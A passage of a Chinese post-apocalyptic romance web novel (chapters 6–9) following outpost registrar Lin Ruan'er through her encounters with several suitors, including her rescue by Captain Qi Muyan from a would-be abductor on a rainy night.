尹宿顺着她的手指瞥了一眼,把卷烟拿到嘴边,狠狠吸了最后一口,然后拇指和食指一捏,熄灭了火星,随手把那截烟头直接扔进垃圾桶里。
他拉过旁边的一把椅子,身体前倾,一双锐利的眼睛直勾勾地盯着林阮儿。
林阮儿被他盯着时间长了,问他来这里有没有事。
尹宿笑了:“没事就不能来看看?我这人,就爱到处逛逛,尤其是还有漂亮姑娘的地方。”
林阮儿垂下眼,继续整理表格:“如果您没有什么别的事,那我要继续工作了,这些报表指挥部急着要。”
尹宿挑眉,他伸手,用一根手指把林阮儿正在填的那张表格勾过来一点,歪着头看了看,“战略分析处……沈舵那家伙要的?”
“是的。”林阮儿回应他。
尹宿靠回椅背,双臂抱在胸前:“那家伙,整天躲在指挥部,对着地图和数字神神叨叨,能分析出个屁来!这世道,是子弹和拳头说了算。他今天来,就为了要这些破数字?没问点别的?”
林阮儿:“就是工作所需的数据。”
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“是吗?”尹宿拖长了声音,显然是想挑.逗她,然后继续道,“祁牧炎队长他今天带队出去了,往西边方向去了,这林登记员,你知道吧?”
林阮儿不知道,因为祁牧炎并没告诉她,她只好摇了摇头。
“看来他没跟你说啊,也是,那么危险的事儿,跟个后勤的小登记员说什么,那地方,是一片毒雾林,上个月折了两个兄弟在里面,找到的时候全部都不成人形了……不过,祁队长本事大,应该没事。”
尹宿这话像是随口闲聊一样,然后问她要了登记外来人员名单,忽然有点严肃地说:“最近来的闲杂人等还真不少,这个吴婆子是来送菜的,这个呢?赵姓商人,携带少量药品,请求临时庇护一晚,那药品呢?登记入库了吗?不对啊,怎么都是一星期前的?新来的没做登记啊?”
林阮儿心里一惊,那本册子她还没来得及细看,因为是前一任登记员留下的,她凑过去看了一眼,那记录写得很简略,药品数量和种类都没标注清楚,只有老张一个潦草的签名。
“这我不清楚,这是之前的记录。”林阮儿说。
“之前的记录?尤其是消炎药和止痛剂药品,在这地方简直要比黄金还要金贵些,就住一夜,药去哪儿了?老张头那家伙,向来做事都不怎么严谨,看来你接手的,是个烂摊子啊,林登记员。”
他站起身,身形十分高大,身形完全可以将她全部笼罩,说:“行了,不耽误你给沈舵赶工了,不过,提醒你一句,漂亮的林登记员,这前哨站,人多心思也多,自个儿得多长个心眼,或者,让我帮助你。”
林阮儿倒是接受了:“谢谢,尹队长的话,我会好好记得的。”
说完,尹宿直起身,离开,清单到在傍晚五点过五十分整理完的,六点左右她就下班了,林阮儿揉了揉僵硬的后颈,看着桌上那几页汇总表,
她把表格仔细装进一个旧的硬纸文件夹,套上外套,夜晚的前哨站气温降得厉害,尤其出去后,风里带着刺骨的寒意。
她端起水杯喝了一口,热水润了润干涩的喉咙,然后拿起文件夹走了出去,外面一片漆黑,广场上空荡荡的,A区那边还有些一些人声,越靠近指挥部越安静,门口有两个持枪的士兵站在那边,昏黄的灯光下甚至看不清楚人的脸。
“干什么的?”一个士兵上前一步,拦住了她,声音压得很低,但很警惕。
“后勤部登记员,林阮儿,送文件到战略分析处。”林阮儿举起手里的文件夹,同时把自己的身份牌递了过去。
6. 第 6 章
士兵他接过身份牌,又打量了她几眼,把身份牌还给她:“进去吧,三楼,别乱走。”
一楼大厅很空旷,二楼似乎是指挥中心和通讯部,门禁闭着,三楼的门上只有编号,没有标牌,走廊上的灯光是冷白色的,她按照沈舵说的,找到战略分析处的门牌,敲了敲门。
里面传来沈舵没什么起伏的声音:“进。”
林阮儿推门进去,房间比她想象得大,靠墙的一个金属架子里塞满各种的卷宗和盒子。
房间中央一张木质长桌上面,堆满了摊开的地图还有写了字的纸张,还有几台她没见过的仪器。
沈舵就坐在长桌的一端,轻抬起头,看了她一眼,又看了看文件夹,缓缓道:“嗯,放着吧。”
他没立刻去拿,反而问了一句,“路上过来,有人问你什么吗?”
林阮儿犹豫了一下,说:“门口岗哨问了,我上来的时候,没碰到别人。”
沈舵点点头,似乎只是随口一问,然后,他才拿起文件夹,打开,快速浏览起来。
林阮儿站在原地,她忍不住打量这个房间,目光落在墙面的一张地图上,地图非常详细,标注了前哨站周围上百公里的地形,河流、废墟、旧公路、疑似危险区域……很多地方都用红笔画了圈或打了问号,其中一个用蓝色图钉标记的地方,旁边手写标注着老矿区,还标了一个小小的骷髅的符号。
也就是尹宿提到的,祁牧炎去的地方。
沈舵看了她几秒,然后他重新低下头去看文件,说:“好,你可以回去了,这份清单你整理得很清晰,谢谢。”
林阮儿说了声不客气,转身准备离开。
“等等。”沈舵又叫住她。
林阮儿回过头。
沈舵从桌上一堆杂物里,翻出一个小巧的手电筒,递给她。
“外面黑,这个比制式的亮一些,拿着它。”
林阮儿有些意外,接过手电筒后,道了谢。
外边的夜风有点冷,她打开手电,这枚手电确实比后勤配发的简易手电要实用得多。
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早上六点刚过,前哨站的起床号就响了起来,林阮儿就睡在了后勤部后面的一个小的板房内,听到号声,她慢慢地睁开了眼,才掀开身上的军用毯,坐起了身。
今天是每周一次的集中配给日,会比平时更忙。
她快速穿好那套浅蓝色的的后勤制服,头发胡乱扎了个低马尾,用冷水抹了把脸。
水是从一个大塑料桶里舀出来的,这里没有镜子,只有一块金属铁片嵌在墙上,能照出个模糊的人影。
林阮儿朝着“镜子”里面看去,她的脸没有什么血色,她继续用冷水拍拍自己的脸颊,转身掀开了隔帘。
隔帘这边就是她的办公区域了。
七点整,登记房里就进来了人。
是配给小组的人,他们推着小轮车,上面堆着用防水布盖好的压缩干粮和罐头。
“林登记员,早啊!这是A区第一批的,按上周核定的人数,加三个新来的伤员。”
一个中年男人,脸上有道疤,说话时喜欢搓手,是配给小组的负责人,大家都叫他老孙。
林阮儿点点头,翻开A区的配给登记册:“三个伤员,名字和所属小队?”
“两个是燎原小队的,昨天人刚送回来,伤得有点重,还有一个是巡查队的人,名字就都在这张条上。”老孙给她递过来了一张皱巴巴的白纸条。
燎原小队,所以祁牧炎回来了?
林阮儿接过纸条,又问:“燎原小队的人伤在哪儿?配给需要调整吗?比如流食?”
老孙摇摇头:“那倒不用,医疗部那边有专门病号餐,就是常规配给份额得加上他们名字,不然月底对不上数。对了,祁队长他们这次去的那个老矿区好像不太顺,拉回来一车破铜烂铁,扔在C区后面那片废料场了,还有,听说尹队长那边的人,昨晚跟他们在广场边差点呛起来,也不知道是因为什么缘故。”
林阮儿:“好。”
老孙说完就离开了,快到中午的时候,人稍微少了些,下午的配给发放继续,包括B区医疗部的,C区仓库执勤人员的,D区后勤和部分文职人数,在分配过程中一丝都不能错。
期间尹宿手下的一个人来领东西,眼神总往林阮儿身上瞟,嘴里不干不净地说着‘登记员妹妹真辛苦,哥哥请你吃饭’之类的话,林阮儿只当是自己没听见,面无表情地核对完他的信息,把东西推过去。
那人讨了个没趣,哼哼唧唧地走了。
林阮儿准备下班,她想毕竟是祁队长救了自己一命,他们有事,还是要前去看看的,走之前,有人忽然进来了。
来人是一个穿着整洁便装的男人,不是制服。
他看上去二十七八出头,个子很高,身形偏瘦,身着一件料子不错的卡其色风衣,里面是浅灰色的衬衫,手里拿着个黑色的公文包。
“请问,是后勤登记处吗?”他的声音音色也很好听。
林阮儿点点头:“是的,请问您有什么事?配给发放已经结束了。”
男人走近几步,道:“我不领取配给,我是来协调一批特殊物资入库的。”
接着,他从公文包里拿出一份文件,放在林阮儿桌上。
“前哨站与新希望聚居点达成的月度交换协议,第一批物资今天傍晚抵达,这是清单和交接文件,需要后勤登记处做一下备案。”
林阮儿接过文件,里面列着详细的物品名称、规格、数量,落款的地方有个签名,上边有打印的楷体字:顾宴。
她抬头看向男人:“你就是顾宴?”
男人微笑了一下,从口袋里掏出一张名片,说:“我是顾宴,新希望聚居点派驻前哨站的商务联络员,刚上任一周,这批物资比较重要,所以我亲自过来跑一趟流程,以后,可能经常会来麻烦你了,林登记员。”
他的目光落在她胸前的身份牌,念出了她的名字。
两人又
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聊了一会儿,男子很合作,一个小时之后,两人前一后走出登记房,停在广场上的,是一辆改装过的厢式货车,三个穿着统一蓝色工作服的人正小心翼翼地从上面往下搬东西,都是密封的白色箱子。
顾晏边走边解释:“新希望在旧城废墟边缘,但保留了一些生产线和技术人员,医疗和电子产品是我们的主要交换物,所以我们算是互惠互利。”
林阮儿听着,没怎么接话,她的注意力放在那些箱子上,仔细看着编号,和手里的清单一一核对,顾晏就站在她旁边,偶尔在她询问时,回答一两个问题。
核对完最后一箱电子元件,林阮儿在顾晏那份文件的接收栏签上自己的名字和日期,顾晏接过去,仔细看了看她的签名,笑了笑:“林登记员的字很秀气。”
顾晏收起文件,忽然问了一句:“林登记员来前哨站多久了?”
林阮儿:“两周左右吧。”
顾晏点点头,和她并肩走着,走到了一栋看二层小楼:“我在这边有个临时办公室,那边有咖啡机,比后勤配发的代用品好一些,如果林登记员有空,或者觉得需要提提神,可以过来坐坐。”
林阮儿:“这几天,可能没时间。”
“那现在有么?”
他笑了:“我每天早晨都喝一杯提神,比紧张的工作更需要的,是保持清醒的头脑,不是吗?”
林阮儿答应了他,就到他房间坐了坐,咖啡机里的咖啡确实香气更好闻,味道出乎意料的好,顾晏自己也喝了一口,靠在桌边,姿势放松。
“新希望有自己的小型水培农场,也尝试恢复了一些经济作物的种植,咖啡豆的产量还算可以,你喝的就是那边种植的咖啡豆。”
林阮儿点点头,顾宴一边喝着咖啡,一边看她,说:“以后,你可以多来我这边坐,原本我在这边也有点无聊,之后就不谈事,我们享受咖啡就好,我还真怕你会不喜欢这苦味儿,特意加了一点白糖。”
林阮儿不避讳他的眼神,看向他:“好啊,咖啡我还是很爱喝的,而且,我不怎么怕苦。”
顾宴继续递给她一杯,林阮儿已经喝了三杯了,摆了摆手:“不能再喝了。”
“咖啡确实会让人上瘾。”
第二杯、三杯的咖啡不加奶和糖,味道更加醇厚,她喝完之后,只说:“真的,再喝下去,我就不用吃晚饭了。”
顾宴看她笑,女人的笑眼弯弯,月牙状,叫他一时愣了神,随着她笑:“好,那我们就下次见,林登记员。”男人话音淡淡道。
晚饭过后,林阮儿才想着找祁牧炎,天色渐渐暗了下来,还下着雨,她发现A区的士兵身着统一的服装,颜色一致所以一时间认不太出哪个是祁牧炎的队伍,不知不觉中,林阮儿走到了A区一个有点偏的角落,她觉得自己找错了地方,又折返回去走,忽然,身下一轻,感觉到了有人直接抱住她的双腿,她想要挣扎脱身,却发现那人的力气很大很大,完全挣不开,下一秒,还被那人扛到了肩膀……
7. 第 7 章
“啊!”林阮儿短促地惊叫了一声,她只能是徒劳地蹬着腿,手胡乱向后抓去,却只抓到湿透的衣服布料。
她头朝下,一阵眩晕过后,问:“放开我,你是谁?救命!”
她尖声喊起来,雨水倒灌进口鼻,呛得她咳嗽,可挣扎完全没用,那肩膀抵着她的腹部,手臂锁着她的腿,每一步都走得又稳又快,朝着更黑暗的角落里去。
雨水更大了,噼里啪啦打在了屋顶和地面上,几乎盖过了她的呼喊声音。
就在林阮儿快要绝望的时候,前方雨幕里,突然出现了一个高大的黑影,正好堵在了他们拐弯的路口。
男人站得笔直,没穿雨披,雨水顺着他棱角分明的脸颊往下淌,打湿了他短短的头发,贴在额头上。
他手里好像没拿东西,就空着手站在那里。
扛着自己的人只好刹住脚步。
“放下她。”男人缓缓开口道。
林阮儿认出,那是祁牧炎的声音。
“祁队长!是你么?”
祁牧炎往前踏了一步,又重复了一遍,言语像淬了冰:“我再说最后一次。”
扛着她的人终于不再向前,而是并不甘愿地弯下了腰,把林阮儿从肩膀上放下来,放在地上,只动作算不上轻柔,林阮儿脚一软,差点摔倒,是祁牧炎伸手接住了她,让她站稳了。
扛着她的是个壮汉,他的身影迅速消失了。
雨夜的灯光下,林阮儿身体被淋了,很冷,祁牧炎把目光转向她。
看到她身上除了泥水没有明显的伤痕,脸色似乎缓和了那么一丝丝,他大步走过来,脱下自己身上的一件外套,披在她肩上。
“还好吗?”他问。
林阮儿点点头,说:“就是腿有点软……”
祁牧炎没再问,跟她说地面滑,伸出手,攥住了她的手腕,他的掌心在她的腕部,很热,祁牧炎的走路步子很稳,有意无意地把她护在了里侧,自己走在靠外的位置。
走了大概几十米,祁牧炎停了下来,松开她手腕,问:“怎么回事?晚上下着雨,一个人跑到这边?”
他的语气算不上责备,但带着明显后怕。
林阮儿只好告诉他原因,祁牧炎:“A区这边不少外来人员,尤其刚才你走的方位,人多也杂,那人不是士兵,或许避开了士兵,偷溜进来也可能,目标是你,一定不是今天进来的,估计在暗中观察过你,那人可能是流民,或者别的聚局地混进来的人,总之,是盯上落单女人的渣滓。”
祁牧看着她,又说,“我已经让手下的人跟着他,他跑不了的。”
“好。”
“阮儿,想找我,一定白天来,或者托人带话,别再一个人瞎闯,听懂了吗?”
就因为刚才的事,祁牧炎紧紧把手握成了拳,垂在身侧。
“能自己走回去吗?还是我送你到后勤部门口?”
林阮儿想说能自己走,但她腿确实还软着,而且她下意识地,不太想立刻离开这种安全感。
她咬了咬下唇,声音很轻:“就送我到路口就好。”
两人这次打了伞到后勤部,祁牧炎:“这回,认我的军帐了吗?”
“嗯,军帐前方有个小的燎原符号,我怎么这个都忘了呢?”
短短一段路,一眨眼就到了,祁牧炎:“到了,进去吧,赶紧去把湿衣服换了喝点热水,一定锁好门。”
哪怕不是外面的人,那群散发野性的男人们,也都个个不是什么省油的灯,女人,温柔又白皙的天使脸庞,几乎是他们心中的梦中情人了……
林阮儿将她身上他的外套脱下来,递还给他,外套被雨水灌得沉甸甸的。
“你的衣服……”
“好。”祁牧炎接过衣服,随意地搭在臂弯里。
第二天是个晴天,连绵的阴雨总算是停了,阳光照在了泥泞的地面,一股很淡的青草气息,空气总算好了些。
林阮儿起得比平时晚了一点,昨晚后半夜几乎没怎么合眼,所以她早上起来,眼睛很肿,她换上了干净的制服,用冷水拍了拍脸,才觉得精神稍微好了点。
她走到平时工作的桌子后面,翻开登记簿,准备开始一天的工作了。
登记房穿来了敲门声。进来的是祁牧炎。
他换了一身干净
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的作战服,他手里拿着个油纸包。
“祁队长?”林阮儿有些意外,站起身。
祁牧炎走到桌前,把油纸包放在桌上:“早餐,食堂那边出锅的饼子,夹了点腌菜,不过,比这里的能量棒强。”
“谢谢祁队长。”
祁牧炎:“你的脸色这么差,没睡好?”
林阮儿下意识摸了摸自己的脸,垂下了眼:“还好。”
祁牧炎也没追问,只是说:“昨晚的事,我查了,那一片的监控坏了有段时间,那人才敢那么明目张胆,但,他会受到应有的惩罚,你别担心。”
林阮儿心里一暖,说:“谢谢祁队长,我又给你添麻烦了。”
“不麻烦,前哨站居然能出种事,本来就是士兵他们失职。”
他看了看桌上的油纸包,继续,“饼子趁热吃。我走了,还有任务简报要完成。”
等他走后,林阮儿慢慢坐下,打开油纸包,里面是烤得金黄的粗面饼子,还泛着热气,中间夹着腌萝卜丝,一股咸香的味道立刻飘了出来。
味道要比压缩饼干和能量棒不知好了多少,她拿起来咬了一口,外皮微脆,里面松软,腌菜咸淡适中,带着点脆生生的口感。
一上午的登记工作平平常常。来领东西的人依旧不少,和往常没什么不同,中午过后,阳光更烈了,登记房里有些闷热,林阮儿正低头核对一批新入库工具的数量,有人来了,她抬起头。
原来是尹宿斜靠在门框上,他今天没出外勤,穿了件黑色的紧身背心,外面随意套着敞开的深绿色的制服外套,露出结实的胳膊和胸膛。
他眯着眼,打量林阮儿。
“哟,林登记员,吃着祁队长的爱心早餐,小日子过得还算不错啊。”尹宿开口,他拖得长调说道。
林阮儿:“是尹队长,是有事吗?”
尹宿浅笑了一声,在她对面的椅子坐定,说:“没事,就是过来看看林登记员,我听说了昨天的事,怕你昨天晚上受了惊吓。”
然后,他身子前倾,胳膊支在桌上,和她距离咫尺。
“我还听说,祁队长他昨晚英雄救美了?”
8. 第 8 章
林阮儿并不避开,说:“尹队长的消息还是很灵通的。”
尹宿:“哎!他那队人,三天两头往外跑,刀口舔血,要是想要找人护着你,不如来找我,省得整天提心吊胆的。”
男人的眼神直勾勾的,里面翻涌着毫不掩饰的欲望和占有欲。
林阮儿的眼睛非常勾人,是那种她不自知地勾人,她瞳孔亮亮的,只要是稍微这么一看别人,精壮的男人们瞬间就被她勾得七荤八素,尹宿很少害羞,她的眼神并不回避自己,更是带了一些探究的目光。
他站起身,凑近的时候,颀长的身影似乎环住了她。
他非常随性慵懒地声音,说:“走了。”
上午林阮儿把一批新到的块茎作物入库登记完,又处理了几个小队零星的物资申领,吃完了午饭后,午休的时候,林阮儿忽然想起,之前好像听有的士兵说,在指挥部后面靠近内墙的地方,有个小温室,是新希望那边协助建的,种了点稀罕东西。
她心里这么想着,就朝着指挥部大楼后面走去,那边她很少去,属于前哨站的内区,管理更严格些,她有点忐忑不安,可自己只是路过看看,应该没有关系吧?
绕过指挥部那栋三层楼,后面是一片相对整洁的空地,铺着碎石子,停着几辆看起来保养不错的专用车辆,再往后,是一段更高的内墙,墙上开着道小门,有士兵站岗。
林阮儿正犹豫要不要过去,站岗的士兵已经看到了她。
“站住,前面是内区试验田和温室,闲人免进!”士兵说道。
林阮儿停下脚步,解释道:“我是后勤部的登记员,听说这边温室可能有新的作物产出,就想提前了解一下情况,方便后续做配给计划。”
她尽量让自己的声音听起来有正当的理由。
士兵打量了她一下,看了看她的身份牌:“后勤部的?那你有通行许可吗?或者预约之类的?”
林阮儿摇了摇头。
“让她进来吧。”一道温和的声音忽然从门内传了过来。
林阮儿抬头看去,内墙的小门被从里面推开了一些,一个男人探出半边身子,他看起来近三十岁,个子很高,但身形偏瘦,他穿着一身浅灰色的工装连体服,但料子看起来很柔软干净,袖口挽到小臂,露出白皙的手腕。
他的头发是柔软的栗色,有点自然卷。
就颜值爆表的那类,精致的五官像是雕塑一样。
他对着站岗的士兵点点头:“是后勤的同事吧?来了解作物情况是好事。”
面前这位士兵的表情缓和了些,说:“傅主任,我这就让她进去。”
傅主任?他难道就是这里的负责人么?
之后,林阮儿解释说:“不好意思,我只想进来看看,就一会儿,不进去核心区,就在温室边上,可以吗?”
“看出来了,你编的话并不高明,但你是后勤部的登记员,按理说,进来也没什么,时间不能超过二十分钟,行,你进来吧,小心脚下,石子路会有点滑。”
林阮儿快步走了过去,低声说了句谢谢,然后跨过那道小门,里面的景象让她微微睁大了眼睛。
眼前是一片被仔细规划过的土地,分成好几垄,上面覆盖着透明的薄膜,虽然规模并不算很大,但很是规整,泥土是深褐色的,看起来松软肥沃。
空气里面会有一股属于植物的清新味道。
最吸引她的,还是在土地尽头那栋全玻璃结构的温室,它并不很大,大概只有半间板房大小。
“那就是我们的小温室,刚建起来没多久,主要是做适应性和育苗试验,新希望提供了技术和部分种子,继续这边走。”
他领着她,沿着干净的石子小路,朝温室走去,他的脚步很稳,而林阮儿就跟在他身后,她的目光不由自主地被两旁田垄里的东西所吸引,这里有些已经长出了稚嫩的叶片。
“这是抗寒改良的土豆苗,那边是速生绿叶菜,口感可能一般,但维生素含量很不错,温室里东西多一些,有几种尝试性的香料,还有一小片草莓,不过还没结果,只是开了点花。”
两人一齐走到了温室门口,陆工拉开通往玻璃门的简易木门,温室里面比外面看起来更令人惊喜,里边的架子上层层叠叠摆满了各种盆栽和育苗盘。
太阳的光就透过洁净的玻璃顶棚洒下来,被枝叶切割成一道道的光影,落在潮湿的陶盆上面,和外面的末世不同,这里像是隔绝了另外的世界,一切都显得那样充满了生机感。
“很漂亮,对吧?”他走到里面,拿起一个喷壶,给靠近门口的几盆植物轻轻喷了点水。
他继续道,“只要我每次待在这里,就会感觉到身心非常舒服,你觉得呢?”
林阮儿也不知道他会和自己说这么多。
傅青源:“你不是想了解吗?我这个人,不喜欢保留什么,而且我看过你了的身份牌,其实,照料这些植物和你们后勤部,本质都是一样的。”
林阮儿一直都小心翼翼地,生怕碰坏了什么。
她在一盆散发着薄荷清香的植物前停下,手指轻轻碰了碰那柔嫩的叶片,问他:“这是什么?”
“那是柠檬香蜂草,”傅青源走过来。
然后他蹲下身,示意她也看看:“揉碎了叶子闻,有柠檬的香气。可以用来泡水,安神,味道也不错,要试试吗?”
他摘下最小的一片叶子,递给她。
林阮儿接过来,放在鼻尖下嗅了一下,真的诶,有一股清新酸爽的柠檬香气,就这么忽然地进入她的鼻腔里。
“可真好闻啊。”她非常诚实地说。
“喜欢的话,等这盆再长大点,可以分一些给你,对了,还没自我介绍,我
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叫傅青源,是这边试验田和温室的主负责人,以前学植物专业的,没想到在这地方还能用得上。”
他笑了笑,问:“你呢?后勤部的登记员?可我怎么称呼你?”
“我叫林阮儿。”女孩身上有种十分独特的气质,清秀美丽,落落大方。
林阮儿和他自然地就又聊了起来,她问傅青源到这边多久时间了。
傅青源走到温室另一边,检查着几株番茄苗的长势,然后说:“我来这边一月了,之前跟着新希望的一个技术小组过来的,帮着建起了这个温室和外面的试验田,后来小组回去了,我觉得这儿挺好,安静,能做点自己喜欢的事,就申请留下了。”
“嗯,那你经常一个人待在这里吗?”林阮儿问他。
“会的,虽然不需要我每天看着,但我比较喜欢一人在这里待,所以经常会到这边。”
说话间,林阮儿的目光就在一株挂着小灯笼的果实植物停留了一会儿,但傅青源和她说了那是观赏用的椒,不能吃,而且这些温室里的植物除了用于吃饭之外,他们还在研究有关植物变异的事。
林阮儿是见识过植物变异,内心有点小恐惧,但他说有些植物变异确实不好,但还有的可以为他们所用,意思就是变异植物如果可以听人话,那么会对丧尸有着非常厉害的作用,虽然末世是有异能者,可身怀异能的人还是少数,因此,植物变异的事也会被他们提上日程。
接着,傅青源拿起一把小剪刀,修剪着一株植物多余的枝条,他的动作非常熟练,然后说:“偶尔会有指挥部的人过来看看进展,或者食堂那边的人来,像你这样专门过来看植物的,很少。”
他看向她,问:“你喜欢这里么?”
林阮儿毫不犹豫地点点头:“喜欢,因为很暖和,而且这里好多好多的绿色啊,看着的时候,我会非常的放松。”
傅青源笑了,他说道:“好,那以后有空可以常来,其他人,不能随意进,但如果是你,就可以,到时我会跟我的人说,你来不需要拦。”
“有时候,我会坐在一张椅子上,哪怕什么都不做,静静看着它们生长,也挺好的。”
林阮儿看了一眼自己的手表,意识到自己不能再呆了,时间不早,傅青源青源送她到温室门口,快步走了回去,从一盆长势茂盛的香草丛里,小心地掐了两小段带着叶子的嫩枝,用一张干净的纸巾包好,走回来递给了林阮儿:“这个是罗勒,你可以带回去尝尝味道。”
林阮儿接过那还带着水汽的嫩枝,说:“谢谢。”
“下次来,草莓要是结果了,我请你吃,快回去吧。”傅青源对她轻笑,他的笑意淡淡,脸颊会在笑起来的时候有个梨涡,很好看。
林阮儿转身,她沿着石子路往外走。
傅青源一直定定地站在温室门外,看她渐渐地走远……
9. 第 9 章
这些天的天气还算晴朗,前哨站里那股子潮气散去了不少,这天上午,林阮儿刚处理完一批工具出库登记,C区的仓库管理员老赵就探头进来,脸上带着点难得的笑模样。
“林登记员,今天下午没啥紧急事儿吧?”
林阮儿抬起头:“暂时没有,怎么了,赵师傅?”
“是这样,咱们前哨站不是有个小图书馆吗?就在A区的指挥部旁边那间,平时没啥人去,书都快被虫子啃完了,管那儿的老周头他想趁着天好,把一些受潮没那么厉害的书搬出来晒晒,但我去去霉气,不过确实是有点缺人手,问能不能支援个把人,我这边有点事实在走不开,我就想到你,今天要是事情少,能不能帮着搬搬书,把它们摊开来,看着点别被风吹跑了。”
“在哪儿?指挥部旁边?”她问。
“对,就那栋一层的小平房,窗户特别多的那个,你要是下午有空,去帮个忙?老周头说帮忙的人,可以挑一本品相还凑合的书带走,算是谢礼。”
林阮儿今天事少,整理差不多就能下班,她说:“可以,今天下午一点,我过去。”
老赵:“哎哟!那行,我跟那边说一下,可真麻烦你了。”
下午的阳光正好,晒得人骨头都有些发酥,林阮儿下班后,朝着指挥部旁边走去,很快,她就看到了老赵说的那栋房子,它确实不起眼,夹在几栋更高的预制板楼之间,是一排低矮的平房中的一间,外墙漆剥落了大半,但它的窗户确实很多,是旧式的木格窗。
房子前面有一小片还算平整的水泥空地,一个后背有点佝偻的老人,正颤巍巍地从屋里抱出几本厚厚的书,小心地摊放在地面的帆布上。
老赵说那人头发花白,胡须很长,打了卷的就差脱在地上了,林阮儿开始以为是夸张的说法,现在看来确实是。
“是周老师么?”林阮儿走近,轻声和他打招呼。
老人抬起头,推了推挂在鼻梁的眼镜,他脸上的皱纹很深,打量了她一番,才缓缓地道:“你是老赵说的那位后勤部来帮忙的人?”
“是的,我叫林阮儿。”林阮儿自我介绍。
“好,好,那麻烦你,屋子里,靠墙那几个木头箱子,还有架子下层,那些书都需要搬出来晒,小心些,很多书脊都脆了,一碰就掉。”
林阮儿好奇这边居然还会有图书馆,老人似乎看出她的疑惑,对她说:“这边别看是临时驻地,但是大家闲着无趣的时候,也会想要在这边看看书,但哪有什么新书,不过是能运送来一些旧的或者已经破损了的书籍,还有咱们前哨站的藏书,这种书是新印刷的,人手一本,有关末世的一些技巧的求生知识,应有尽有啊。”
林阮儿点点头,应了一声,走进了屋子里,里面的光线比外面会暗很多,确实能闻到空气里的一股淡淡的发霉味,但并不十分难闻,房间不大,靠墙立着几个歪歪扭扭的木书架,上面塞满了各种书籍,地上还堆着几个敞开的木箱,里面也满满堆的都是书,她蹲下身,小心地抱起一摞书。
这儿的书比她想象中的要沉得多,林阮儿按照周茯的指点,把书搬到外面空地上,一本本摊开,书页朝上,让阳光可以均匀地照在上面。
有些书页粘在了一起,需要非常小心地把它给慢慢地揭开,而周茯他就在旁边,一边摊开自己抱出来的书,一边絮絮叨叨地跟她说话。
“这本啊,是讲怎么种地的,老技术了,但有些土法子现在说不定还能用,这本是故事书,给小孩子看的,画儿都没了,真可惜了,这套百科全书,湿得最厉害,晒干了也不知道字还能看清多少……”
林阮儿手上的动作很轻,连续地搬了几趟,她的额角已经微微出了一些薄汗,她蹲在地上,小心地分开两本粘在一起的旧杂志,而这时候,一双穿着黑色皮质短靴的男人,停在了她面前。
林阮儿抬起了头。
男人穿着一套深灰色呢料长裤,上身穿了一件熨烫得没有一丝褶皱的黑色衬衫,衬衫质料精良,扣子扣到了最上面一个,来人的身形高挑挺拔。
因为逆着光的缘故,他的脸还有些模糊,看不仔细,但能看出基本的轮廓,他鼻梁很高,嘴唇的线条显得有些薄,但薄得却恰到好处。
他的头发天然是浅棕色的,微卷的刘海随意搭在前额,他向下看,带着一种习惯性的审视,但不让人感到十分冒犯,他看起来不过二十六岁。
男人的臂弯里面夹着一本书。
周茯也看到了他,连忙站起身,说:“苏先生?您怎么过来了?”
被称作苏先生的男人微微颔首,声音很有磁性地回应他:“周老师,我上次借的那本《区域地质概要》看完了,今天正好有空,过来归还给您。”
他顿了下,问:“这是在晒书?”
“是啊,趁着天好,去去潮气。这位是后勤部来帮忙的林登记员。”周茯介绍她道。
苏先生的目光于是便落在林阮儿身上,他的视线很直接,看到女人因为热所以泛红的脸颊。
林阮儿今天穿了一件迷彩裤,上衣则是穿了一件橙色的抹胸衫,外面罩了一层白色的纱丝外套,她累了,胸脯微微翳动着,看他。
二人的目光相视,男人的瞳孔是深绿色的,和一般人的不同。
出现在他视野里的林阮儿,被她盯着,随后,他漫不经心地道:“你好。”
林阮儿和他握了手,他的手掌很大,直接把她的手给包裹住,握手握了得有十秒,二十秒,出于礼貌,林阮儿并没先抽走自己的手,男人的目光很深沉,像是要看穿她眼底的东西。
周茯看了看,说:“握手时间够久了,是不是先松开来?”
这时,苏水鹤才抽开手,但更多的,是有些不舍,他很抱歉地说:“见到了林登记员,原谅我有点激动。”
林阮儿:“这没什么关系。”
苏水鹤:“你叫什么?”
“林阮儿。”
“林阮儿。”他又暗暗地复述了一遍她的名字,然后往前走了半步,将手中的《区域地质概要》递给周茯。
周茯接过书,小心地检查了一下边角:“苏先生看书仔细,每次还
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回来的书都跟新的一样。”
苏先生淡淡地笑了笑,他的目光越过周茯,扫了眼林阮儿。
然后,眼神直接落定在了林阮儿脚边一本摊开的旧书上,那好像是一本关于花卉的图鉴,部分的页面已经发黄,但那些手绘的花朵依旧色彩鲜艳。
他弯腰,蹲下身体,见她在这边一直盯着这本书看了许久,问:“喜欢花?”
对他突如其来的一问,林阮儿回答他:“嗯,喜欢。”
“我看你在这一页停留了很长时间。”
“这种花,我没见过,就有点好奇,看看书页里的介绍。”
苏水鹤直起身,对周茯说:“晒书是个细致活儿,需要人手,我下午没什么安排,可以帮忙。”
林阮儿:“真的?”
林阮儿毕竟身体素质不好,她在这边就稍微搬了几趟书,就有点体力吃不消,而且身子骨都快散了,自然是需要一个可以帮她忙的人,那就再好不过了。
周茯:“不用了,怎么好麻烦苏先生您……”
苏水鹤:“反正,我对书籍的品相和分类有些了解。”
苏水鹤主要帮忙搬运,以及更精细的分类整理,而林阮儿她之需要摊开书本即可,透过书架的孔隙间,林阮儿向他道谢,苏水鹤:“这种活儿,原本就需要身板结实些的男人。”
“这本,晒的时候,注意别让阳光直射太久,纸张太脆。”
林阮儿点头,她接过那本书,小心地摊放在帆布的阴凉处。
终于,几个箱子和书架下层的书都搬出来整理好了,苏水鹤在整理书籍时候,会戴上一副白色手套,现在,把它脱下放回口袋,动作极其自然。
周茯:“真是多亏了你们两位了,林登记员,苏先生,太感谢了。”
“举手之劳。”苏先生说。
林阮儿:“应该做的。”
周茯说:“帮忙的人可以挑一本书,你们可以看看,有哪本合眼缘的,尽管挑!”
林阮儿看着自己刚才翻过的那本花卉图鉴。
她还有些犹豫。
苏水鹤:“如果难以抉择,那本花卉图鉴,虽说只是图册,但绘制精美,看它心情也能愉悦些。”
“那就这本花卉图鉴吧。”林阮儿说。
周茯把书拿了起来,用一块软布擦了擦封面,递给了林阮儿。
苏水鹤并没拿书,然后他转头对周茯说:“那我先回去了。”
“苏先生慢走。”周茯说。
林阮儿走出图书馆,发现自己身侧和她一起走着的人就是那位苏先生。
苏水鹤:“你还不知道我的名字吧。”
“不清楚。”
“我叫苏水鹤,水源的水,仙鹤的鹤,你也并不知道我的职业是什么。”
林阮儿问他是什么。
苏水鹤:“你好奇么?”
